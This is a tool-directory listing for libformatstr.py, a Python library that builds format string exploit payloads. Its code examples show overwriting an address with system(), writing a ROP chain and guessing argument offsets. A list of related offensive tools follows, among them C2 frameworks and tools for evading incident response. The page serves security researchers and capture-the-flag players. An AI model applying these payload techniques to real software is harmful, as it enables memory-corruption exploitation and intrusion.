libformatstr.py Logo

libformatstr.py

0
Free
Updated 11 March 2025
Visit Website

Small script to simplify format string exploitation. Usage Case 1 - replace one dword: import sys from libformatstr import FormatStr addr = 0x08049580 system_addr = 0x080489a3 p = FormatStr() p[addr] = system_addr # buf is 14th argument, 4 bytes are already printed sys.stdout.write( p.payload(14, start_len=4) ) Case 2 - put ROP code somewhere: import sys from libformatstr import FormatStr addr = 0x08049580 rop = [0x080487af, 0x0804873c, 0x080488de] p = FormatStr() p[addr] = rop sys.stdout.write( p.payload(14) ) Case 3 - guess argument number and padding: import sys from libformatstr import FormatStr # let's say we have do_fmt function, # which gives us only output of format string # (you can also just copy fmtstr and output manually) buf_size = 250 # fix buf_size to avoid offset variation res = do_fmt(make_pattern(buf_size)) argnum, padding = guess_argnum(res, buf_size) # of course you can use it in payload generation p = FormatStr(buf_size) p[0xbffffe70] = "\x70\xfe\xff\xbf\xeb\fe" # yes, you can also put strings sys.stdout.write( p.payload(argnum, padding, 3) ) # we know 3 bytes were printed already Case 4 - write something in specificed order: from libformatstr

FEATURES

SIMILAR TOOLS

Python utility for testing the existence of domain names under different TLDs to find malicious subdomains.

A tool that visits suspected phishing pages, takes screenshots, and extracts interesting files.

A comprehensive guide for customizing Cobalt Strike's C2 profiles to enhance stealth and operational security.

A Ruby framework designed to aid in the penetration testing of WordPress systems.

C3 is a framework for creating custom C2 channels, integrating with existing offensive toolkits.

A covert channel technique that uses WebDAV protocol features to deliver malicious payloads and establish C2 communication while bypassing security controls.

Comprehensive host-survey tool for security checks in C#.

A framework for exploiting Android-based devices and applications

A powerful tool for hiding the true location of your Teamserver, evading detection from Incident Response, redirecting users, blocking specific IP addresses, and managing Malleable C2 traffic in Red Team engagements.

CyberSecTools logoCyberSecTools

Explore the largest curated directory of cybersecurity tools and resources to enhance your security practices. Find the right solution for your domain.

Operated by:

Mandos Cyber • KVK: 97994448

Netherlands • contact@mandos.io

VAT: NL005301434B12

Copyright © 2025 - All rights reserved